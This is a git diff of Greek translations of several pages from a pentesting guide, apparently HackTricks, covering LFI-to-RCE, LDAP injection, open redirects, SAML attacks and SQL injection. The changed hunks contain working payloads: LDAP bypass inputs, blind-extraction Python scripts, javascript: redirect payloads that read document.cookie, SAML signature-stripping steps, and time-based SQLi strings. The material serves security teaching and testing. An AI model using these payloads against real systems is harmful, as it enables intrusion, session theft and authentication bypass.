Αν βρείτε μια **Local File Inclusion** ακόμα και αν **δεν έχετε session** και `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** στα **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει τη session για εσάς**. Μπορείτε να το εκμεταλλευτείτε αυτό για να αποκτήσετε RCE:
Αν βρείτε μια **Local File Inclusion** ακόμα και αν **δεν έχετε συνεδρία** και το `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** στα **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει τη συνεδρία για εσάς**. Μπορείτε να το εκμεταλλευτείτε αυτό για να αποκτήσετε RCE:
{{#ref}}
via-php_session_upload_progress.md
@ -553,7 +553,7 @@ via-php_session_upload_progress.md
### Via temp file uploads in Windows
Αν βρείτε μια **Local File Inclusion** και ο server τρέχει σε **Windows** μπορεί να αποκτήσετε RCE:
Αν βρείτε μια **Local File Inclusion** και ο διακομιστής τρέχει σε **Windows** μπορεί να αποκτήσετε RCE:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
@ -561,7 +561,7 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το script `/usr/local/lib/phppearcmd.php` υπάρχει από προεπιλογή σε εικόνες docker php. Επιπλέον, είναι δυνατό να περάσετε παραμέτρους στο script μέσω του URL, καθώς αναφέρεται ότι αν μια παράμετρος URL δεν έχει `=`, θα πρέπει να χρησιμοποιηθεί ως παράμετρος.
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το σενάριο `/usr/local/lib/phppearcmd.php` υπάρχει από προεπιλογή σε εικόνες docker php. Επιπλέον, είναι δυνατό να περάσετε παραμέτρους στο σενάριο μέσω της διεύθυνσης URL, καθώς αναφέρεται ότι αν μια παράμετρος URL δεν έχει `=`, θα πρέπει να χρησιμοποιηθεί ως παράμετρος.
Η παρακάτω αίτηση δημιουργεί ένα αρχείο στο `/tmp/hello.php` με το περιεχόμενο `<?=phpinfo()?>`:
```bash
@ -582,7 +582,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
lfi2rce-via-phpinfo.md
{{#endref}}
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Disclosure Διαδρομής
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Αν βρείτε μια **Local File Inclusion** και μπορείτε να **εξάγετε τη διαδρομή** του προσωρινού αρχείου ΑΛΛΑ ο **διακομιστής** **ελέγχει** αν το **αρχείο που θα συμπεριληφθεί έχει PHP marks**, μπορείτε να προσπαθήσετε να **παρακάμψετε αυτόν τον έλεγχο** με αυτή τη **Race Condition**:
@ -592,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Μέσω αιώνιας αναμονής + bruteforce
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, θα μπορούσατε τότε να **brute force ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο:
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, τότε θα μπορούσατε να **δοκιμάσετε ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο:
{{#ref}}
lfi2rce-via-eternal-waiting.md
@ -603,13 +603,13 @@ lfi2rce-via-eternal-waiting.md
Αν συμπεριλάβετε οποιοδήποτε από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβετε το ίδιο δύο φορές για να προκαλέσετε αυτό το σφάλμα).
**Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά μπορεί να είναι.**\
&#xNAN;_&#x45;ven αν προκαλέσετε ένα PHP Fatal Error, τα προσωρινά αρχεία PHP που έχουν ανέβει διαγράφονται._
_&#x45;ven αν προκαλέσετε ένα PHP Fatal Error, τα προσωρινά αρχεία PHP που έχουν ανέβει διαγράφονται._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Αναφορές
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{{#file}}

View File

@ -14,7 +14,7 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από είσοδο χρηστών. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειραγωγήσουν τις δηλώσεις LDAP** μέσω τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειραγώγηση δεδομένων.
**LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από είσοδο χρηστών. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειριστούν δηλώσεις LDAP** μέσω τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειρισμό δεδομένων.
{{#file}}
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
@ -33,8 +33,8 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
&#xNAN;**(&)** = Absolute TRUE\
&#xNAN;**(|)** = Absolute FALSE
**(&)** = Absolute TRUE\
**(|)** = Absolute FALSE
Για παράδειγμα:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
@ -58,7 +58,7 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
### Login Bypass
Το LDAP υποστηρίζει διάφορες μορφές για την αποθήκευση του κωδικού πρόσβασης: clear, md5, smd5, sh1, sha, crypt. Έτσι, μπορεί να συμβαίνει ότι ανεξάρτητα από το τι εισάγετε μέσα στον κωδικό πρόσβασης, αυτός είναι κατακερματισμένος.
Το LDAP υποστηρίζει αρκετές μορφές για την αποθήκευση του κωδικού πρόσβασης: clear, md5, smd5, sh1, sha, crypt. Έτσι, μπορεί να συμβαίνει ότι ανεξάρτητα από το τι εισάγετε μέσα στον κωδικό πρόσβασης, αυτός κωδικοποιείται.
```bash
user=*
password=*
@ -150,7 +150,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
#### **Ανακάλυψη έγκυρων πεδίων LDAP**
Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**τα προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξαγάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**τα προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
```python
#!/usr/bin/python3
import requests
@ -182,7 +182,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True
print()
```
#### **Ειδική Τυφλή LDAP Εισαγωγή (χωρίς "\*")**
#### **Ειδική Τυφλή LDAP Εισβολή (χωρίς "\*")**
```python
#!/usr/bin/python3

View File

@ -11,7 +11,7 @@
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
### Ανοιχτή Ανακατεύθυνση σε XSS
### Ανοιχτή ανακατεύθυνση σε XSS
```bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
@ -57,7 +57,7 @@ javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
```
## Open Redirect ανεβάζοντας αρχεία svg
## Open Redirect uploading svg files
```markup
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
@ -148,7 +148,7 @@ ReturnUrl=https://c1h2e1.github.io
```bash
response.redirect("~/mysafe-subdomain/login.aspx")
```
#### Τζάβα
#### Java
```bash
response.redirect("http://mysafedomain.com");
```
@ -166,8 +166,8 @@ exit;
## Πόροι
- Στο [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) μπορείτε να βρείτε λίστες fuzzing.\\
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
- Στο [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) μπορείτε να βρείτε λίστες fuzzing.
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)

View File

@ -42,7 +42,7 @@ First child after round-trip: Z
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>)
Και αυτό είναι πώς το είδε μετά από έναν γύρο ανάλυσης και σειριοποίησης:
Και αυτό είναι πώς το είδε μετά από μια διαδικασία ανάλυσης και σειριοποίησης:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)
@ -119,7 +119,7 @@ First child after round-trip: Z
## XXE
Αν δεν ξέρετε ποιοι τύποι επιθέσεων είναι XXE, παρακαλώ διαβάστε την παρακάτω σελίδα:
Αν δεν γνωρίζετε ποιοι τύποι επιθέσεων είναι XXE, παρακαλώ διαβάστε την παρακάτω σελίδα:
{{#ref}}
../xxe-xee-xml-external-entity.md
@ -143,23 +143,23 @@ First child after round-trip: Z
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
## Εργαλεία
## Tools
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα αίτημα SAML για να δοκιμάσετε πιθανές ευπάθειες XXE και SAML.
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα SAML request για να ελέγξετε για πιθανές ευπάθειες XXE και SAML.
Ελέγξτε επίσης αυτή την ομιλία: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XSLT μέσω SAML
## XSLT via SAML
Για περισσότερες πληροφορίες σχετικά με το XSLT, μεταβείτε στο:
Για περισσότερες πληροφορίες σχετικά με το XSLT, επισκεφθείτε:
{{#ref}}
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
Οι Επεκτάσιμες Μετασχηματισμοί Γλώσσας Στυλ (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή εγγράφων XML σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι **οι μετασχηματισμοί XSLT εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής**. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή. Μια αυτο-υπογεγραμμένη ή μη έγκυρη υπογραφή είναι αρκετή για να προχωρήσετε.
Οι Επεκτάσιμες Μετασχηματισμοί Γλώσσας Στυλ (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή XML εγγράφων σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι **οι μετασχηματισμοί XSLT εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής**. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή. Μια αυτο-υπογεγραμμένη ή μη έγκυρη υπογραφή είναι αρκετή για να προχωρήσετε.
Εδώ μπορείτε να βρείτε ένα **POC** για να ελέγξετε αυτό το είδος ευπαθειών, στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας μπορείτε να βρείτε payloads.
Εδώ μπορείτε να βρείτε ένα **POC** για να ελέγξετε για αυτό το είδος ευπαθειών, στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας μπορείτε να βρείτε payloads.
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
@ -179,51 +179,51 @@ First child after round-trip: Z
...
</ds:Signature>
```
### Εργαλείο
### Tool
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα αίτημα SAML για να δοκιμάσετε πιθανές ευπάθειες XSLT.
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα SAML request για να δοκιμάσετε πιθανές ευπάθειες XSLT.
Ελέγξτε επίσης αυτή την ομιλία: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## Εξαίρεση Υπογραφής XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
Η **Εξαίρεση Υπογραφής XML** παρακολουθεί τη συμπεριφορά των υλοποιήσεων SAML όταν το στοιχείο Υπογραφής δεν είναι παρόν. Εάν αυτό το στοιχείο λείπει, **η επικύρωση υπογραφής μπορεί να μην συμβαίνει**, καθιστώντας το ευάλωτο. Είναι δυνατόν να δοκιμαστεί αυτό αλλάζοντας τα περιεχόμενα που συνήθως επαληθεύονται από την υπογραφή.
Η **XML Signature Exclusion** παρατηρεί τη συμπεριφορά των υλοποιήσεων SAML όταν το στοιχείο Signature δεν είναι παρόν. Εάν αυτό το στοιχείο λείπει, **η επικύρωση υπογραφής μπορεί να μην συμβαίνει**, καθιστώντας το ευάλωτο. Είναι δυνατόν να δοκιμαστεί αυτό αλλάζοντας τα περιεχόμενα που συνήθως επαληθεύονται από την υπογραφή.
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>)
### Εργαλείο <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Παρεμβάλετε την απάντηση SAML και κάντε κλικ στο `Remove Signatures`. Με αυτόν τον τρόπο **όλα** τα στοιχεία Υπογραφής αφαιρούνται.
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Παρέμβαση στην SAML Response και κάντε κλικ στο `Remove Signatures`. Με αυτόν τον τρόπο **όλα** τα στοιχεία Signature αφαιρούνται.
Με τις υπογραφές αφαιρεμένες, επιτρέψτε στο αίτημα να προχωρήσει στον στόχο. Εάν η Υπογραφή δεν απαιτείται από την Υπηρεσία
Με τις υπογραφές αφαιρεμένες, επιτρέψτε στο αίτημα να προχωρήσει στον στόχο. Εάν η υπογραφή δεν απαιτείται από την Υπηρεσία
## Ψευδής Πιστοποίηση <a href="#certificate-faking" id="certificate-faking"></a>
## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
## Ψευδής Πιστοποίηση
## Certificate Faking
Η Ψευδής Πιστοποίηση είναι μια τεχνική για να δοκιμάσετε αν ένας **Πάροχος Υπηρεσιών (SP) επαληθεύει σωστά ότι ένα Μήνυμα SAML είναι υπογεγραμμένο** από έναν αξιόπιστο Πάροχο Ταυτότητας (IdP). Περιλαμβάνει τη χρήση ενός \***αυτο-υπογεγραμμένου πιστοποιητικού** για να υπογράψει την Απάντηση ή την Δήλωση SAML, που βοηθά στην αξιολόγηση της διαδικασίας επικύρωσης εμπιστοσύνης μεταξύ SP και IdP.
Το Certificate Faking είναι μια τεχνική για να δοκιμάσετε αν ένας **Service Provider (SP) επαληθεύει σωστά ότι ένα SAML Message είναι υπογεγραμμένο** από έναν αξιόπιστο Identity Provider (IdP). Περιλαμβάνει τη χρήση ενός \***self-signed certificate** για να υπογράψει την SAML Response ή Assertion, που βοηθά στην αξιολόγηση της διαδικασίας επικύρωσης εμπιστοσύνης μεταξύ SP και IdP.
### Πώς να Διεξάγετε Ψευδή Πιστοποίηση
### How to Conduct Certificate Faking
Τα παρακάτω βήματα περιγράφουν τη διαδικασία χρησιμοποιώντας την επέκταση Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
1. Παρεμβάλετε την Απάντηση SAML.
1. Παρέμβαση στην SAML Response.
2. Εάν η απάντηση περιέχει μια υπογραφή, στείλτε το πιστοποιητικό στο SAML Raider Certs χρησιμοποιώντας το κουμπί `Send Certificate to SAML Raider Certs`.
3. Στην καρτέλα Πιστοποιητικών SAML Raider, επιλέξτε το εισαγόμενο πιστοποιητικό και κάντε κλικ στο `Save and Self-Sign` για να δημιουργήσετε ένα αυτο-υπογεγραμμένο κλώνο του αρχικού πιστοποιητικού.
4. Επιστρέψτε στο παρεμβαλλόμενο αίτημα στην Proxy του Burp. Επιλέξτε το νέο αυτο-υπογεγραμμένο πιστοποιητικό από το αναπτυσσόμενο μενού Υπογραφής XML.
3. Στην καρτέλα Certificates του SAML Raider, επιλέξτε το εισαγόμενο πιστοποιητικό και κάντε κλικ στο `Save and Self-Sign` για να δημιουργήσετε ένα self-signed clone του αρχικού πιστοποιητικού.
4. Επιστρέψτε στο παρεμβαλλόμενο αίτημα στην Proxy του Burp. Επιλέξτε το νέο self-signed πιστοποιητικό από το αναπτυσσόμενο μενού XML Signature.
5. Αφαιρέστε οποιεσδήποτε υπάρχουσες υπογραφές με το κουμπί `Remove Signatures`.
6. Υπογράψτε το μήνυμα ή τη δήλωση με το νέο πιστοποιητικό χρησιμοποιώντας το **`(Re-)Sign Message`** ή **`(Re-)Sign Assertion`** κουμπί, ανάλογα με την περίπτωση.
7. Προωθήστε το υπογεγραμμένο μήνυμα. Η επιτυχής αυθεντικοποίηση υποδεικνύει ότι ο SP αποδέχεται μηνύματα υπογεγραμμένα από το αυτο-υπογεγραμμένο πιστοποιητικό σας, αποκαλύπτοντας πιθανές ευπάθειες στη διαδικασία επικύρωσης των μηνυμάτων SAML.
6. Υπογράψτε το μήνυμα ή την δήλωση με το νέο πιστοποιητικό χρησιμοποιώντας το **`(Re-)Sign Message`** ή **`(Re-)Sign Assertion`** κουμπί, ανάλογα με την περίπτωση.
7. Προωθήστε το υπογεγραμμένο μήνυμα. Η επιτυχής αυθεντικοποίηση υποδηλώνει ότι ο SP αποδέχεται μηνύματα υπογεγραμμένα από το self-signed πιστοποιητικό σας, αποκαλύπτοντας πιθανές ευπάθειες στη διαδικασία επικύρωσης των SAML μηνυμάτων.
## Σύγχυση Παραλήπτη Token / Σύγχυση Στόχου Παρόχου Υπηρεσιών <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
Η Σύγχυση Παραλήπτη Token και η Σύγχυση Στόχου Παρόχου Υπηρεσιών περιλαμβάνουν τον έλεγχο εάν ο **Πάροχος Υπηρεσιών επικυρώνει σωστά τον προοριζόμενο παραλήπτη μιας απάντησης**. Στην ουσία, ένας Πάροχος Υπηρεσιών θα πρέπει να απορρίψει μια απάντηση αυθεντικοποίησης εάν προοριζόταν για διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο **Recipient**, που βρίσκεται μέσα στο στοιχείο **SubjectConfirmationData** μιας Απάντησης SAML. Αυτό το πεδίο προσδιορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να σταλεί η Δήλωση. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Πάροχο Υπηρεσιών, η Δήλωση θα πρέπει να θεωρείται άκυρη.
Η Token Recipient Confusion και η Service Provider Target Confusion περιλαμβάνουν τον έλεγχο εάν ο **Service Provider επαληθεύει σωστά τον προοριζόμενο παραλήπτη μιας απάντησης**. Στην ουσία, ένας Service Provider θα πρέπει να απορρίψει μια απάντηση αυθεντικοποίησης εάν προοριζόταν για διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο **Recipient**, που βρίσκεται μέσα στο στοιχείο **SubjectConfirmationData** μιας SAML Response. Αυτό το πεδίο καθορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να σταλεί η Assertion. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Service Provider, η Assertion θα πρέπει να θεωρείται άκυρη.
#### **Πώς Λειτουργεί**
#### **How It Works**
Για να είναι εφικτή μια επίθεση Σύγχυσης Παραλήπτη Token SAML (SAML-TRC), πρέπει να πληρούνται ορισμένες προϋποθέσεις. Πρώτον, πρέπει να υπάρχει έγκυρος λογαριασμός σε έναν Πάροχο Υπηρεσιών (αναφερόμενος ως SP-Legit). Δεύτερον, ο στοχευμένος Πάροχος Υπηρεσιών (SP-Target) πρέπει να αποδέχεται tokens από τον ίδιο Πάροχο Ταυτότητας που εξυπηρετεί τον SP-Legit.
Για να είναι εφικτή μια επίθεση SAML Token Recipient Confusion (SAML-TRC), πρέπει να πληρούνται ορισμένες προϋποθέσεις. Πρώτον, πρέπει να υπάρχει ένας έγκυρος λογαριασμός σε έναν Service Provider (αναφερόμενος ως SP-Legit). Δεύτερον, ο στοχευμένος Service Provider (SP-Target) πρέπει να αποδέχεται tokens από τον ίδιο Identity Provider που εξυπηρετεί τον SP-Legit.
Η διαδικασία επίθεσης είναι απλή υπό αυτές τις συνθήκες. Μια αυθεντική συνεδρία ξεκινά με τον SP-Legit μέσω του κοινόχρηστου Παρόχου Ταυτότητας. Η Απάντηση SAML από τον Πάροχο Ταυτότητας προς τον SP-Legit παρεμβάλλεται. Αυτή η παρεμβαλλόμενη Απάντηση SAML, που προοριζόταν αρχικά για τον SP-Legit, ανακατευθύνεται στη συνέχεια στον SP-Target. Η επιτυχία αυτής της επίθεσης μετράται από την αποδοχή της Δήλωσης από τον SP-Target, παρέχοντας πρόσβαση σε πόρους υπό το ίδιο όνομα λογαριασμού που χρησιμοποιήθηκε για τον SP-Legit.
Η διαδικασία επίθεσης είναι απλή υπό αυτές τις συνθήκες. Μια αυθεντική συνεδρία ξεκινά με τον SP-Legit μέσω του κοινόχρηστου Identity Provider. Η SAML Response από τον Identity Provider προς τον SP-Legit παρεμβάλλεται. Αυτή η παρεμβαλλόμενη SAML Response, που προοριζόταν αρχικά για τον SP-Legit, ανακατευθύνεται στη συνέχεια στον SP-Target. Η επιτυχία αυτής της επίθεσης μετράται από την αποδοχή της Assertion από τον SP-Target, παρέχοντας πρόσβαση σε πόρους υπό το ίδιο όνομα λογαριασμού που χρησιμοποιήθηκε για τον SP-Legit.
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
@ -256,7 +256,7 @@ https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
Αυτό αποκάλυψε ότι η παράμετρος `base` δέχεται μια διεύθυνση URL. Λαμβάνοντας αυτό υπόψη, προέκυψε η ιδέα να αντικατασταθεί η διεύθυνση URL με `javascript:alert(123);` σε μια προσπάθεια να ξεκινήσει μια επίθεση XSS (Cross-Site Scripting).
Αυτό αποκάλυψε ότι η παράμετρος `base` δέχεται μια διεύθυνση URL. Λαμβάνοντας υπόψη αυτό, προέκυψε η ιδέα να αντικατασταθεί η διεύθυνση URL με `javascript:alert(123);` σε μια προσπάθεια να ξεκινήσει μια επίθεση XSS (Cross-Site Scripting).
### Μαζική Εκμετάλλευση
@ -283,7 +283,7 @@ print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + d
## Αναφορές
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)

View File

@ -8,7 +8,7 @@
## Ανίχνευση σημείου εισόδου
Όταν μια ιστοσελίδα φαίνεται να είναι **ευάλωτη σε SQL injection (SQLi)** λόγω ασυνήθιστων απαντήσεων του διακομιστή σε εισόδους σχετικές με SQLi, το **πρώτο βήμα** είναι να κατανοήσουμε πώς να **εισάγουμε δεδομένα στην ερώτηση χωρίς να την διαταράξουμε**. Αυτό απαιτεί την αναγνώριση της μεθόδου για να **ξεφύγουμε από το τρέχον πλαίσιο** αποτελεσματικά. Αυτά είναι μερικά χρήσιμα παραδείγματα:
Όταν μια ιστοσελίδα φαίνεται να είναι **ευάλωτη σε SQL injection (SQLi)** λόγω ασυνήθιστων απαντήσεων του διακομιστή σε εισόδους σχετικές με SQLi, το **πρώτο βήμα** είναι να κατανοήσουμε πώς να **εισάγουμε δεδομένα στην ερώτηση χωρίς να την διαταράξουμε**. Αυτό απαιτεί την αναγνώριση της μεθόδου για **να ξεφύγουμε από το τρέχον πλαίσιο** αποτελεσματικά. Αυτά είναι μερικά χρήσιμα παραδείγματα:
```
[Nothing]
'
@ -72,8 +72,8 @@ sqli-logic.txt
### Επιβεβαίωση με Χρόνο
Σε ορισμένες περιπτώσεις **δεν θα παρατηρήσετε καμία αλλαγή** στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να **ανακαλύψετε τυφλές SQL injections** είναι να κάνετε τη βάση δεδομένων να εκτελεί ενέργειες που θα έχουν **επίδραση στον χρόνο** που χρειάζεται η σελίδα για να φορτώσει.\
Επομένως, θα συνδυάσουμε στην SQL ερώτηση μια λειτουργία που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί:
Σε ορισμένες περιπτώσεις **δεν θα παρατηρήσετε καμία αλλαγή** στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να **ανακαλύψετε κρυφές SQL injections** είναι να κάνετε τη βάση δεδομένων να εκτελεί ενέργειες που θα έχουν **επίδραση στον χρόνο** που χρειάζεται η σελίδα για να φορτώσει.\
Επομένως, θα συνδυάσουμε στην SQL ερώτηση μια ενέργεια που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -95,11 +95,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
